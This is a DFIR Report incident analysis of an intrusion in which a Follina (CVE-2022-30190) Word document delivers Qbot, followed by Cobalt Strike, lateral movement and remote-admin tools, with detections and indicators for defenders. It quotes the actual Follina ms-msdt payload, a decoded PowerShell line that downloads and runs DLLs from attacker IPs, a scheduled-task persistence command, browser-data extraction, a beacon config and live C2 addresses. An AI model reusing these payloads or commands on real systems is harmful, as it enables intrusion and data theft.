

# THE DFIR REPORT

Real Intrusions by Real Attackers, The Truth Behind the Intrusion

REPORTS   ANALYSTS   SERVICES ▾

Thursday, October 31, 2024

ACCESS DFIR LABS   MERCHANDISE   SUBSCRIBE

CONTACT US

THREAT INTELLIGENCE   DETECTION RULES   DFIR LABS   MENTORING & COACHING PROGRAM

CASE ARTIFACTS

adfind   cobaltstrike   Qbot

## Follina Exploit Leads to Domain Compromise

October 31, 2022

In early June 2022, we observed an intrusion where a threat actor gained initial access by exploiting the [CVE-2022-30190 \(Follina\) vulnerability](#) which triggered a Qbot infection chain.

Qbot, also known as Qakbot or Pinksliplot is actively developed and capable of a number of functions from reconnaissance, lateral movement, data exfiltration, to delivering other payloads acting as an initial access broker. Qbot is regarded by US CERT as being one of the [2021 Top Malware Strains in Alert \(AA22-216A\)](#). In the past we’ve covered other intrusion cases where Qbot was used as an initial access vector. See our reports titled “[Qbot and Zerologon Lead To Full Domain Compromise](#)” and “[Qbot Likes to Move It, Move It](#)”.

In this intrusion, soon after execution of the Qbot payload, the malware established C2 connectivity and performed discovery activity on the beachhead host. Along the way, the threat actors pivoted to multiple systems and installed remote management tools such as NetSupport and Atera Agent, and utilized the ubiquitous Cobalt Strike for maintaining access to the network. The intrusion lasted 2

days, and the attackers ultimately showed interest in accessing sensitive documents hosted on a file server, after which, they exited the environment.

## Case Summary

In this intrusion, a threat actor abused the CVE-2022-30190 (Follina) vulnerability, where exploit code was embedded inside a malicious Word document to gain initial access. We assess with medium to high confidence that the documents likely arrived by the means of [thread-hijacked emails from distribution channels used by TA570](#).

Upon execution of the weaponized Word document, a HTML file was retrieved from a remote server containing a PowerShell payload. The payload contains base64-encoded content and is used to download Qbot DLLs inside the user's Temp directory. The Qbot DLL was executed via regsvr32.exe and the activity was immediately followed by injection into legitimate processes (explorer.exe) on the host.

The injected process spawned Windows utilities such as whoami , net .exe and nslookup, to perform discovery activity and also established connection to Qbot C2 servers. Almost an hour later, the threat actors leveraged a Windows built-in utility, esentut1.exe, to extract browser data, a technique also observed in earlier cases. [\[1\]](#)[\[2\]](#)

Qbot used scheduled task creation as a persistence mechanism. The scheduled task contained a PowerShell command referencing multiple C2 IP addresses stored as base64-encoded blob in randomly named keys under the HKCU registry hive.

After this activity, the threat actor proceeded with the remote creation of Qbot DLLs over SMB on multiple hosts throughout the environment. They then added multiple folders to the Windows Defender exclusions list on each of the infected machines to evade defenses, as we have seen before with [Qbot](#). Remote services were then used to execute the DLLs.

A Cobalt Strike server connection was witnessed within the first hour, but it wasn't until after lateral movement occurred that activity from that server began. Utilities such as n1test.exe and AdFind were executed by the injected Cobalt Strike process (explorer.exe). The injected process was also used to access the LSASS system process. Then, the threat actors installed a remote management tool named NetSupport Manager. Within 20 minutes of the installation, the threat actor moved laterally to the domain controller via a Remote Desktop session.

On the domain controller, the tool Atera Remote Management was deployed, a popular tool used by attackers for controlling victim machines. This was the last adversarial activity observed for the day.

The threat actors checked-in early the next day and downloaded a tool named [Network Scanner](#) by SoftPerfect on a domain controller. The tool was executed, which ran a port scan across the network. Finally, the threat actors connected to one of the file share servers via RDP and accessed sensitive documents.

No further attacker activity was observed before the threat actors were evicted from the environment.

## Services

We offer multiple services including a [Threat Feed service](#) which tracks Command and Control frameworks such as Cobalt Strike, Qbot, Covenant, Metasploit, Empire, PoshC2, etc. More information on this service and others can be found [here](#).

We also have artifacts and IOCs available from this case such as pcaps, memory captures, files, event logs including Sysmon, Kape packages, and more, under our [Security Researcher and Organization](#) services.

## Timeline



Analysis and reporting completed by [@pigerlin](#), [@yatinwad](#) and [@\\_pete\\_0](#).

## Infection graph:

## Initial Access

Ever since the disclosure of the [Follina vulnerability \(CVE-2022-30190\)](#) earlier this year, threat actors have been known to leverage the flaw in various phishing campaigns. Delivery of this intrusion was [linked](#) to TA570, using hijacked email threads to deliver the initial payload. This intrusion started after a Word document, weaponized with Follina exploit code, was used to deliver and infect the host with Qbot malware.

When dealing with a Word document based on the OOXML format, associated files and folders are stored within a compressed ZIP archive. These items can be easily extracted by using an arbitrary zip utility like unzip . One of the embedded files that requires inspection during the analysis of a Follina maldoc, is named `document.xml.rels`

This “relationship” (RELS) file contained an external reference to a remote HTML file, configured to be retrieved and loaded when the Word document is opened, or viewed in Preview Mode.

At the bottom of the retrieved HTML page source, the script tag was defined and contained malicious JavaScript code that called the `ms-msdt` scheme.

```
ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=?
IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-
Expression($(Invoke-Expression('[System.Text.Encoding]+'+[char]58+
[char]58+'Unicode.GetString([System.Convert]+'+[char]58+
[char]58+'FromBase64String('+
[char]34+'JABwACAAPQAgACQARQBuaHYAogB0AGUAbQBwADsAaQB3AHIAIABoAHQAdABwADo
ALwAvADEAMAA0AC4AMwA2AC4AMgAyADkALgAxADMAOQAvACQAKABYAGEAbgBkAG8AbQApAC4A
ZABhAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAHAAXAB0AC4AQQA7AGkAdwByACAAaAB0AHQAc
AA6AC8ALwA4ADUALgAyADMAOQAuADUANQAuADIAMgA4AC8AJAAoAHIAYQBuAGQAbwBtACkALg
BkAGEAdAAgAC0ATwB1AHQARgBpAGwAZQAgACQACABCAHQAMQAuAEFEAOwBpAHcAcgAgAGgAdAB
0AHAAOgAvAC8AMQA4ADUALgAyADMANAAuADIANAA3AC4AMQAxADkALwAkACgAcgBhAG4AZABv
```

```
AG0AKQAUAGQAYQB0ACAALQBPAHUAdABGAGkAbABlACAAJABwAFwAdAAyAC4AQQA7AHIAZQBnA  
HMAHgByADMAMgAgACQAcABcAHQALgBBADsAcgBlAGcAcwB2AHIAMwAyACAAJABwAFwAdAAxAC  
4AQQA7AHIAZQBnAHMAHgByADMAMgAgACQAcABcAHQAMgAuAEEA'+  
[char]34+''))'))))i/../../../../../../../../../../../../../../../../Windows/Syst  
em32/mpsigstub.exe"
```

When a system is vulnerable to Follina (CVE-2022-30190), the code will be interpreted and executed by `msdt.exe` (Microsoft Support Diagnostic Tool). A good detection opportunity is to monitor for this process being spawned by a Microsoft Office application such as `WINWORD.EXE`

In our case, the payload contained base64-encoded PowerShell code. The decoded payload is also logged in EventID 4104 (script block logging) upon execution by the PowerShell engine.

The Follina payload was designed to download Qbot libraries from three different URLs, drop the files inside the user's temp directory, and finally execute the DLLs using `regsvr32.exe`

```
$p = $Env:temp  
iwr http://104.36.229.139/$(random).dat -OutFile $p\t.A  
iwr http://85.239.55.228/$(random).dat -OutFile $p\t1.A  
iwr http://185.234.247.119/$(random).dat -OutFile $p\t2.A  
regsvr32 $p\t.A  
regsvr32 $p\t1.A  
regsvr32 $p\t2.A
```

## Execution

Upon execution of the MSDT payload, a new instance of the `sdiagnhost.exe` (Scripted Diagnostics Native Host) was spawned. This process was ultimately responsible for invoking the Follina payload, starting, in our case, three child instances of `regsvr32.exe`.



After execution of the payload, the XML file `PCW.debugreport.xml` was created in the `%localappdata%\Diagnostics.` directory. This file can serve as a valuable artifact when analyzing Follina exploitation (attempts). The payload, preceded by its recursive path, can be found in the `TargetPath` element of this XML-file. The [payload](#) configured to execute on the system is embedded in this file.

## Persistence

Qbot maintained persistence by creating scheduled tasks across multiple endpoints. An example of a command that was executed can be seen below:

```
schtasks.exe /Create /F /TN "{E9ADEA37-C329-4967-9CF5-2682DA7D97BE}" /TR  
"cmd /c start /min \"%\" powershell.exe -Command  
IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64S  
tring((Get-ItemProperty -Path  
HKCU:\SOFTWARE\Benfouqcgq).rxftejkhynwmp))
```

The scheduled task creation events were recorded in the `Microsoft-Windows-TaskScheduler/Operational` log.

Inspection of the scheduled task showed that PowerShell referenced a registry key with a random generated value. This value differed from endpoint to endpoint:

The data of this registry key consisted of a base64-encoded string:

Decoding the base64-encoded string revealed a significant number of QBot's C2 IPv4 addresses and ports:

C2 IPv4s are provided in the IoC section of this report.

The SysWow64\Explorer.exe process was also observed cycling through a number of domains – indicated by the DNS requests with a QueryStatus of RCODE:0 (NO ERROR).

In addition, several connectivity checks were made to email relay services:

## Defense Evasion

As reported [earlier](#) this year, QBot is known for using process hollowing. In this case, the 32-bit version of explorer.exe (indicated by the use of C:\Windows\SysWOW64) was started in a suspended state, which was then used as a target for injection.

Inspecting memory dumped from the host, the injected processes were easy to discover using Volatility and the malfind module. Looking for output that included explorer.exe and contains the VAD tag PAGE\_EXECUTE\_READWRITE and MZ headers in the memory space, common attributes observed for process injection in memory.



The injected explorer.exe process was used to spawn and inject into additional instances of explorer.exe (32-bit). An example event can be seen below. Source PID 11672 belonging to QBot, injected a DLL into PID 3592, which we discovered was part of Cobalt Strike C2 communication

Using the injected process id's, and process names, we can then match that to the network connections observed using the volatility netscan module, discovering both the injected Qbot (PID 3992) and Cobalt strike (PID 5620) explorer processes. (The data below comes from a different host than the prior log.)

Various folders were added as an exclusion for Windows Defender, commonly used by QBot, as a 'drop zone' for both execution and persistence.



## Credential Access

Qbot attempted to steal credentials from the Credentials Manager.

On one of the targeted systems, the injected explorer process opened a handle with suspicious access rights to a thread in the LSASS process. Credential dumping tools like Mimikatz often request this level of access and corresponds to the following access rights:

- PROCESS\_VM\_READ (0x0010)
- PROCESS\_QUERY\_INFORMATION (0x0400)
- PROCESS\_QUERY\_LIMITED\_INFORMATION (0x1000)
- PROCESS\_ALL\_ACCESS (0x1ffff)

We observed the LSASS process interaction from the injected Explorer process at two different access levels, 0x1410:

In addition, on one host, the average LSASS interaction, with access right 0x1FFFFFF (PROCESS\_ALL\_ACCESS) by the explorer process was ~13K every two hours. A significant volume of events.

The article "[You Bet Your Lsass: Hunting LSASS Access](#)" by Splunk details examples of LSASS credential dumping.

## Discovery

The following discovery commands were initiated by Qbot through the injected process on the beachhead system:

```
whoami /all
cmd /c set
net view /all
ipconfig /all
net share
nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.DOMAIN
net localgroup
netstat -nao
route print
net group /domain
net group "Domain Computers" /domain
C:\Windows\System32\cmd.exe /C c:\windows\sysnative\nltest.exe
/domain_trusts /all_trusts
```

Later, more discovery commands were observed from the Cobalt Strike injected process on another victim system:

```
net group "domain controllers" /dom
net group "domain admins" /dom
C:\Windows\system32\cmd.exe /C ping -n 1 <Redacted>
```

On the same host, AdFind was executed to enumerate all computer objects in the Active Directory domain:

On second day of the intrusion, threat attackers downloaded a tool named [Network Scanner](#) (netscan.exe) by SoftPerfect on the domain controller, using Internet Explorer.

The tool was used to trigger another port scan, this time targeting TCP ports 445 and 3389.

Periodic requests to [api.ipify.org](#) were observed throughout the intrusion by the SysWOW64\Explorer process and by the ATERA agent. [ipify.org](#) can be used to determine the public facing IPv4 address of the network. We've observed the use of [ipify.org](#) in previous cases.

## Lateral Movement

Qbot DLLs were created remotely from the beachhead host and saved in the administrative C\$ share of other hosts within the network.

This activity was also clearly visible in Zeek SMB File data in the network.

A local service was also registered on each of the targeted systems, configured to execute the Qbot DLL using `regsvr32.exe`

The following Suricata signatures identified both the remote file creation and service registration events:

- ET RPC DCERPC SVCCTL - Remote Service Control Manager Access
- ET POLICY SMB Executable File Transfer ET POLICY SMB2 NT Create AndX Request For a DLL File - Possible Lateral Movement

Execution of the new service was observed shortly after invoking the Qbot DLL.

The threat actor also used RDP to pivot between systems on the network such as a domain controller and a file server.



The creation of the `rdpclip.exe` process on the target host is another indication that a RDP connection was successful. The start of this process by a non-human account is another great detection opportunity.

## Collection

Qbot used various information stealing modules to extract sensitive information from the beachhead host.

Outlook was started, possibly to steal e-mail messages. However, we could not find evidence to conclusively support this.

Qbot also used the Windows built-in utility `esentutl.exe` to extract browser data from Internet Explorer and Microsoft Edge:

```
esentutl.exe /r V01 /l"C:\Users\  
<redacted>\AppData\Local\Microsoft\Windows\WebCache" /s"C:\Users\  
<redacted>\AppData\Local\Microsoft\Windows\WebCache" /d"C:\Users\  
<redacted>\AppData\Local\Microsoft\Windows\WebCache"
```

On a file server, we observed the threat actor manually inspecting files using various built-in viewers. For example, for viewing PDF files, Internet Explorer was used to view these files. For

DOCX files, WordPad was used.

An indication that these files were viewed locally on the network, was the presence of the 'OpenWith' process:

## Command and Control

The following C2 IP-addresses/domains belonging to Qbot were recorded during this intrusion:

```
144.202.3[.]39
subject: CN=pesqfbmfk.us,OU=Mklbwanvv Kibn Fyknigfvki,C=FR,
issuer: CN=pesqfbmfk.us,O=Jgi Vwmmuia Inc.,L=Rnhsjsu Bbrwua,ST=QQ,C=FR
ja3: 72a589da586844d7f0818ce684948eea
ja3s: 8ed408107f89c53261bf74e58517bc76
```

```
176.67.56[.]94
domain: visdeirun.net
issuer: Scau Lofoefo Cubhfilnb Ixtfb
ja3: 72a589da586844d7f0818ce684948eea
ja3s: 7c02dbae662670040c7af9bd15fb7e2f
```

```
72.252.157[.]93
subject: CN=rfhbw.biz,OU=Yoefut,C=ES,
issuer: CN=rfhbw.biz,O=Umalauqv Tyv LLC.,L=Ojaomei Xyaik,ST=LO,C=ES
ja3: 72a589da586844d7f0818ce684948eea
ja3s: 7c02dbae662670040c7af9bd15fb7e2f
```

```
90.120.65[.]153
subject: CN=jaubai.net,OU=Naha,C=AU,
```

```
issuer: CN=jaubai.net,O=Riwi Ohbptdbe LLC.,L=Bia,ST=PX,C=AU  
ja3: 72a589da586844d7f0818ce684948eea  
ja3s: 7c02dbae662670040c7af9bd15fb7e2f
```

```
67.209.195[.]198  
domain: visdeirun.net  
issuer: Aigmx Ijocl Ooeymfx Eiav LLC.  
ja3: 72a589da586844d7f0818ce684948eea  
ja3s: 7c02dbae662670040c7af9bd15fb7e2f
```

The (default) named pipe postex\_4c14 was observed from a Cobalt Strike injected explore.exe process.

After dumping one of the injected explorer.exe processes, we were able to extract the beacon configuration using the [1768.py](#) tool, by Didier Stevens.

More details about this IP-address:

```
190.123.44[.]126
certificate.version: 3,
certificate.serial: 048734AF86D7FBFE4F2161FA60799FD94C5C,
certificate.subject: CN=mssfr.icu,
certificate.issuer: CN=R3,O=Let's Encrypt,C=US,
certificate.not_valid_before: 1653499104,
certificate.not_valid_after: 1661275103,
certificate.key_alg: rsaEncryption,
certificate.sig_alg: sha256WithRSAEncryption,
certificate.key_type: rsa,
certificate.key_length: 2048,
certificate.exponent: 65537,
san.dns: [
mssfr.icu,
ns1.mssfr.icu,
ns2.mssfr.icu,
ns3.mssfr.icu,
ns4.mssfr.icu
]
ja3: 72a589da586844d7f0818ce684948eea
ja3s: ae4edc6faf64d08308082ad26be60767
```

Cobalt Strike config:

```
{
  "beacontype": [
```

```
"HTTPS"
],
"sleeptime": 50845,
"jitter": 33,
"maxgetsize": 2796804,
"spawnto": "AAAAAAAAAAAAAAAAAAAAAA==",
"license_id": 426352781,
"cfg_caution": false,
"kill_date": null,
"server": {
  "hostname": "190.123.44.126",
  "port": 443,
  "publickey":
"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCCECwaMVRPp+F4nPGpvBL6UPyzeC6MLum3
9i8TGRcleTtJowVYODCJ3sJPL/0ZAPx+tvaxyzR4wfwGUsPKf9AClWbCWREmZzCyYq2G9RPsG
C94ywe68mFQJk3qjZH0scYOVcLz5snPsRWn5U2joATJesQWQ/EnQMZadYFa73i8YQIDAQABAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
},
"host_header": "",
"useragent_header": null,
"http-get": {
  "uri": "/maximum.png",
  "verb": "GET",
  "client": {
    "headers": null,
    "metadata": null
  },
  "server": {
    "output": [
      "print",
      "prepend 600 characters",
      "base64",
      "netbios"
    ]
  }
}
```

```
,
"http-post": {
  "uri": "/dividend",
  "verb": "POST",
  "client": {
    "headers": null,
    "id": null,
    "output": null
  }
},
"tcp_frame_header":
"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
"crypto_scheme": 0,
"proxy": {
  "type": null,
  "username": null,
  "password": null,
  "behavior": "Use IE settings"
},
"http_post_chunk": 0,
"uses_cookies": true,
"post-ex": {
  "spawnto_x86": "%windir%\\syswow64\\WerFault.exe",
  "spawnto_x64": "%windir%\\sysnative\\WerFault.exe"
},
"process-inject": {
  "allocator": "VirtualAllocEx",
  "execute": [
    "CreateThread",
    "RtlCreateUserThread",
    "CreateRemoteThread"
  ],
  "min_alloc": 29879,
  "startrwx": false,
  "stub": "pJ9URfAanzJA7qnkbuZsgQ==",
  "transform-x86": [
```



```
    "prepend '\\x90\\x90\\x90\\x90\\x90\\x90'"
  ],
  "transform-x64": [
    "prepend '\\x90\\x90\\x90\\x90\\x90\\x90'"
  ],
  "userwx": false
},
"dns-beacon": {
  "dns_idle": null,
  "dns_sleep": null,
  "maxdns": null,
  "beacon": null,
  "get_A": null,
  "get_AAAA": null,
  "get_TXT": null,
  "put_metadata": null,
  "put_output": null
},
"pipename": null,
"smb_frame_header":
"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
  "stage": {
    "cleanup": true
  },
  "ssh": {
    "hostname": null,
    "port": null,
    "username": null,
    "password": null,
    "privatekey": null
  }
}
```

The remote admin tool named client32.exe (NetSupport Manager) and its associated libraries were dropped on a workstation in the C:\ProgramData\MSN Devices directory.

The exchanged network traffic was unencrypted and contained the custom user-agent NetSupport Manager/1.3

The threat actor installed and enabled the Atera RMM agent on the domain controller.

The MSI installer, named `setup_undefined.msi` was configured to drop the installation files in the `C:\Program Files\ATERA Networks\AteraAgent` directory.

Atera integrated with another remote admin tool known as “[SplashTop](#)”, which it dropped on the file system.

Periodic ‘heartbeat’ process events of Atera were observed:

```
"C:\Program Files\ATERA  
Networks\AteraAgent\Packages\AgentPackageHeartbeat\AgentPackageHeartbeat.  
exe" 84a4a63b-8338-4a34-a73b-5a5958eac32c "3f9a2c8a-b755-4c69-bae0-  
587bafff46ed" agent-api.atera.com/Production 443 or8ixLi90Mf "heartbeat"
```

The “Splashtop” remote admin tool was started as a background process.

```
"C:\Windows\TEMP\SplashtopStreamer3500.exe" prevercheck /s /i  
sec_opt=0,confirm_d=0,hidewindow=1
```

Both remote admin tools allowed the threat actors to persist and obtain remote access to the environment, without relying on RDP.

The Atera Agent account used was retained in the host Software registry hive:

## Exfiltration

No exfiltration observed.

## Impact

Sensitive documents (.pdf, .docx) were viewed in a RDP session on the file server using Notepad++ and Wordpad. After this, no further activity from the threat actor was observed.

## Indicators

### Atomic

ATERA Integrator Login ID

```
cadencefitzp.atrickzx@gmail[.]com
```

## DNS Requests

```
www.stanzatextbooks[.]com  
www.framemymirror[.]com  
www.coolwick[.]com  
www.ajparts.co[.]uk  
incredibletadoba[.]com  
ibuonisani[.]it  
gruposolel[.]com  
foxmotorent[.]com  
egofit.co[.]uk  
edifica[.]ro  
dwm-me[.]com  
cursosfnn[.]com  
cemavimx[.]com  
atlasbar[.]net
```

## Qbot C2 IP's observed in traffic

```
144[.]202[.]3[.]39:443  
67[.]209[.]195[.]198:443  
176[.]67[.]56[.]94:443  
72[.]252[.]157[.]93:995  
90[.]120[.]65[.]153:2078  
72[.]252[.]157[.]93:990  
86[.]97[.]9[.]190:443  
37[.]34[.]253[.]233:443  
23[.]111[.]114[.]52:65400
```

## Cobalt Strike

190[.]123[.]44[.]126:443

## Qbot C2 IPv4s in registry key

38[.]70[.]253[.]226:2222  
182[.]191[.]92[.]203:995  
37[.]186[.]54[.]254:995  
140[.]82[.]63[.]183:443  
41[.]86[.]42[.]158:995  
89[.]101[.]97[.]139:443  
201[.]145[.]165[.]25:443  
173[.]21[.]10[.]71:2222  
82[.]41[.]63[.]217:443  
73[.]151[.]236[.]31:443  
149[.]28[.]238[.]199:443  
83[.]110[.]218[.]147:993  
86[.]195[.]158[.]178:2222  
120[.]61[.]1[.]114:443  
140[.]82[.]49[.]12:443  
86[.]97[.]9[.]190:443  
92[.]132[.]172[.]197:2222  
201[.]142[.]177[.]168:443  
82[.]152[.]39[.]39:443  
45[.]46[.]53[.]140:2222  
71[.]24[.]118[.]253:443  
45[.]76[.]167[.]26:443  
144[.]202[.]2[.]175:995  
24[.]55[.]67[.]176:443  
125[.]24[.]187[.]183:443  
24[.]178[.]196[.]158:2222  
187[.]207[.]131[.]50:61202  
78[.]101[.]193[.]241:6883  
202[.]134[.]152[.]2:2222  
103[.]246[.]242[.]202:443  
39[.]52[.]41[.]80:995



187[.]251[.]132[.]144:22  
72[.]27[.]33[.]160:443  
102[.]182[.]232[.]3:995  
176[.]67[.]56[.]94:443  
201[.]172[.]23[.]68:2222  
37[.]34[.]253[.]233:443  
94[.]26[.]122[.]9:995  
5[.]32[.]41[.]45:443  
96[.]37[.]113[.]36:993  
93[.]48[.]80[.]198:995  
148[.]64[.]96[.]100:443  
39[.]44[.]158[.]215:995  
67[.]69[.]166[.]79:2222  
45[.]63[.]1[.]12:443  
31[.]48[.]174[.]63:2078  
196[.]203[.]37[.]215:80  
144[.]202[.]3[.]39:995  
1[.]161[.]101[.]20:443  
197[.]164[.]182[.]46:993  
144[.]202[.]2[.]175:443  
5[.]203[.]199[.]157:995  
217[.]165[.]79[.]88:443  
120[.]150[.]218[.]241:995  
217[.]128[.]122[.]65:2222  
85[.]246[.]82[.]244:443  
94[.]71[.]169[.]212:995  
177[.]205[.]155[.]85:443  
79[.]80[.]80[.]29:2222  
124[.]40[.]244[.]115:2222  
106[.]51[.]48[.]170:50001  
94[.]36[.]193[.]176:2222  
85[.]255[.]232[.]18:443  
89[.]211[.]179[.]247:2222  
189[.]253[.]206[.]105:443  
69[.]14[.]172[.]24:443  
83[.]110[.]92[.]106:443

72[.]252[.]157[.]93:995  
208[.]101[.]82[.]0:443  
172[.]115[.]177[.]204:2222  
174[.]69[.]215[.]101:443  
74[.]14[.]5[.]179:2222  
140[.]82[.]63[.]183:995  
210[.]246[.]4[.]69:995  
109[.]12[.]111[.]14:443  
148[.]0[.]56[.]63:443  
121[.]7[.]223[.]45:2222  
47[.]156[.]131[.]10:443  
40[.]134[.]246[.]185:995  
84[.]241[.]8[.]23:32103  
75[.]99[.]168[.]194:443  
172[.]114[.]160[.]81:995  
75[.]99[.]168[.]194:61201  
108[.]60[.]213[.]141:443  
217[.]165[.]176[.]49:2222  
177[.]156[.]191[.]231:443  
32[.]221[.]224[.]140:995  
76[.]70[.]9[.]169:2222  
111[.]125[.]245[.]116:995  
39[.]49[.]96[.]122:995  
143[.]0[.]219[.]6:995  
67[.]165[.]206[.]193:993  
39[.]41[.]29[.]200:995  
191[.]112[.]25[.]187:443  
41[.]84[.]229[.]240:443  
80[.]11[.]74[.]81:2222  
144[.]202[.]3[.]39:443  
217[.]164[.]121[.]161:1194  
89[.]86[.]33[.]217:443  
201[.]242[.]175[.]29:2222  
31[.]35[.]28[.]29:443  
124[.]109[.]35[.]32:995  
217[.]164[.]121[.]161:2222  
39[.]44[.]213[.]68:995  
208[.]107[.]221[.]224:443

24[.]139[.]72[.]117:443  
47[.]157[.]227[.]70:443  
175[.]145[.]235[.]37:443  
63[.]143[.]92[.]99:995  
149[.]28[.]238[.]199:995  
186[.]90[.]153[.]162:2222  
179[.]100[.]20[.]32:32101  
190[.]252[.]242[.]69:443  
47[.]23[.]89[.]60:993  
90[.]120[.]65[.]153:2078  
81[.]215[.]196[.]174:443  
70[.]46[.]220[.]114:443  
76[.]25[.]142[.]196:443  
41[.]38[.]167[.]179:995  
70[.]51[.]135[.]90:2222  
67[.]209[.]195[.]198:443  
42[.]228[.]224[.]249:2222  
177[.]94[.]57[.]126:32101  
104[.]34[.]212[.]7:32103  
41[.]230[.]62[.]211:995  
177[.]209[.]202[.]242:2222  
105[.]27[.]172[.]6:443  
46[.]107[.]48[.]202:443  
86[.]98[.]149[.]168:2222  
173[.]174[.]216[.]62:443  
187[.]149[.]236[.]5:443  
88[.]224[.]254[.]172:443  
45[.]76[.]167[.]26:995  
72[.]252[.]157[.]93:993  
197[.]89[.]8[.]51:443  
41[.]215[.]153[.]104:995  
1[.]161[.]101[.]20:995  
117[.]248[.]109[.]38:21  
179[.]158[.]105[.]44:443  
91[.]177[.]173[.]10:995  
72[.]252[.]157[.]93:990

```
45[.]63[.]1[.]12:995
189[.]146[.]90[.]232:443
180[.]129[.]108[.]214:995
```

## Files

```
liidfxngjotktx.dll
5abb2c12f066ce32a0e4866fb5bb347f
dab316b8973ecc9a1893061b649443f5358b0e64
077ca8645a27c773d9c881aecf54bc409c2f8445ae8e3e90406434c09ace4bc2

doc532.docx
e7015438268464cedad98b1544d643ad
03ef0e06d678a07f0413d95f0deb8968190e4f6b
d20120cc046cef3c3f0292c6cbc406fcf2a714aa8e048c9188f1184e4bb16c93

client32.exe
f76954b68cc390f8009f1a052283a740
3112a39aad950045d6422fb2abe98bed05931e6c
63315df7981130853d75dc753e5776bdf371811bcfce351557c1e45afdd1ebfb
```

## Detections

### Network

```
ET RPC DCERPC SVCCTL - Remote Service Control Manager Access
ET POLICY SMB2 NT Create AndX Request For a DLL File - Possible Lateral
Movement
ET POLICY SMB Executable File Transfer
ET MALWARE Observed Qbot Style SSL Certificate
ET CNC Feodo Tracker Reported CnC Server group 24
ET CNC Feodo Tracker Reported CnC Server group 6
ET HUNTING Observed Let's Encrypt Certificate for Suspicious TLD (.icu)
ET INFO NetSupport Remote Admin Checkin
```

```
ET POLICY HTTP traffic on port 443 (POST)
ET POLICY NetSupport GeoLocation Lookup Request
ET INFO Splashtop Domain (splashtop .com) in TLS SNI
ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection
ET CNC Feodo Tracker Reported CnC Server group 8
ET CNC Feodo Tracker Reported CnC Server group 20
```

## Sigma

```
title: Potential Qbot SMB DLL Lateral Movement
id: 3eaa2cee-2dfb-46e9-98f6-3782aab30f38
status: Experimental
description: Detection of potential use of SMB to transfer DLL's into the
C$ folder of hosts unique to Qbot malware for purposes of lateral
movement.
author: \@TheDFIRReport
date: 2022/09/12
references:
  - https://thedfirreport.com/
logsource:
  product: zeek
  service: smb_files
detection:
  selection_1:
    zeek_smb_files_path|endswith:
      - 'C$'
  selection_2:
    file_name|endswith:
      - '\\.dll.cfg'
  condition: selection_1 and selection_2
falsepositives:
  - RMM Tools and Administrative activities in C$ Share.
level: medium
tags:
```

```
- attack.lateral_movement  
- attack.t1570
```

[https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process\\_creation/proc\\_creation\\_win\\_susp\\_schtask\\_creation.yml](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_schtask_creation.yml)

[https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process\\_creation/proc\\_creation\\_win\\_trust\\_discovery.yml](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_trust_discovery.yml)

[https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process\\_creation/proc\\_creation\\_win\\_lolbins\\_by\\_office\\_applications.yml](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_lolbins_by_office_applications.yml)

[https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process\\_creation/proc\\_creation\\_win\\_msdt\\_susp\\_parent.yml](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_msdt_susp_parent.yml)

[https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process\\_creation/proc\\_creation\\_win\\_sdiagnhost\\_susp\\_child.yml](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_sdiagnhost_susp_child.yml)

[https://github.com/SigmaHQ/sigma/blob/28f8986f7a5767cebf57e5f70d0ea56e29776b83/rules/windows/process\\_creation/proc\\_creation\\_win\\_schtasks\\_appdata\\_local\\_system.yml](https://github.com/SigmaHQ/sigma/blob/28f8986f7a5767cebf57e5f70d0ea56e29776b83/rules/windows/process_creation/proc_creation_win_schtasks_appdata_local_system.yml)

[https://github.com/SigmaHQ/sigma/blob/8041ab5130ff8f4d44a9fd9454670f329d2727bc/rules/windows/process\\_creation/proc\\_creation\\_win\\_reg\\_defender\\_exclusion.yml](https://github.com/SigmaHQ/sigma/blob/8041ab5130ff8f4d44a9fd9454670f329d2727bc/rules/windows/process_creation/proc_creation_win_reg_defender_exclusion.yml)

[https://github.com/SigmaHQ/sigma/blob/329074d935ac81dd91cafdce5e5a43c95cca068d/rules/windows/process\\_creation/proc\\_creation\\_win\\_esentutl\\_webcache.yml](https://github.com/SigmaHQ/sigma/blob/329074d935ac81dd91cafdce5e5a43c95cca068d/rules/windows/process_creation/proc_creation_win_esentutl_webcache.yml)

[https://github.com/SigmaHQ/sigma/blob/8bb3379b6807610d61d29db1d76f5af4840b8208/rules/windows/process\\_creation/proc\\_creation\\_win\\_susp\\_recon\\_net\\_activity.yml](https://github.com/SigmaHQ/sigma/blob/8bb3379b6807610d61d29db1d76f5af4840b8208/rules/windows/process_creation/proc_creation_win_susp_recon_net_activity.yml)

